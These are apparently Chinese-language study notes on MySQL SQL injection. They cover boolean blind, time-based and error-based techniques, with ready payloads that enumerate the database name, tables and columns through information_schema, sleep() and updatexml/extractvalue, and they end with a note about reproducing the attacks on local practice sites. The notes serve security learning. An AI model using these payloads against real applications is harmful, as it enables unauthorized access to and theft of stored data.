一、盲注
在union联合查询查不到且确定有注入点的情况下,就要考虑盲注。
步骤:先猜数据库长度,再去猜每一位是什么字母。依次类推出表名、列名。最后select 字段 from 表名拿数据。
1)布尔
应用场景:有不同状态显示(正常页面/其他页面)
比喻:这个弟弟虽然不会说话(无直接回显),但会点头和摇头(页面状态变化)来回答你的问题
步骤:先猜数据库长度,再去猜每一位是什么字母。依次推表名、列名。最后拿数据【不断猜谜】
常用payload:
数据库名:
#检查当前数据库名称的长度是否为n。
and length(database())=n;
#检查当前数据库名称的第n个字符是否为 'i'
and substr(database(),n,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;
表名: # 猜解当前数据库中表数量 1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=3 # 猜解第几个表的长度 1 AND SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT N,1),M,1)='X' # 猜解第N个表名的第M个字符 1 AND SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT N,1),M,1)='X'列名:
第m列名长度为n
1 AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='表名' LIMIT m-1,1)=n猜解第M表的第N列的第K个字符
1 AND SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='M' LIMIT N,1),K,1)='X'
先猜数据库长度,为6

猜数据库第一位:是d


表数量:为3。


查第二表的第一位:为n


2)延时
应用场景:没有数据库报错,也没状态变化,就可以考虑延时注入了。但是实际他没有任何因公用条件。
比喻:这个哥哥又聋又哑,还面瘫(无任何状态变化)。你问他问题,他唯一的反应就是:如果答案是"对",他就低头想5秒钟再看你;如果答案是"错",他就立刻看你。 你只能通过他的反应延迟来判断对错
理想vs现实:
常用payload:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
二、报错注入
应用场景:数据库有报错信息,类比union注入。
玩法步骤:先通过报错payload拿到database();第二步嵌套select查询语句,如同union注入拿到database后一样去找表名、列名、列中数据。
常用payload:
版本,可相对应替换成database()
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
三、理想vs现实(及其重要)
不同注入拿数据库名:盲注(先猜长度,后一个个猜字母) ; 报错(select查询)。
理想化:拿到数据库名,直接select 查询表名、列名。
现实:由于过滤/字数限制, 无法用select直接去查询表名、列名,还是要靠猜表名。其中盲注需要继续一个字母一个字母去猜,那么报错注入就只能limit去一点点拿几个表名,不能group_concat。
最终拿数据:所有注入方法都用select 字段1,字段2 from 表名来拿数据
四、实战复现
2个站点,记得配置好相应数据库及挂好小皮。
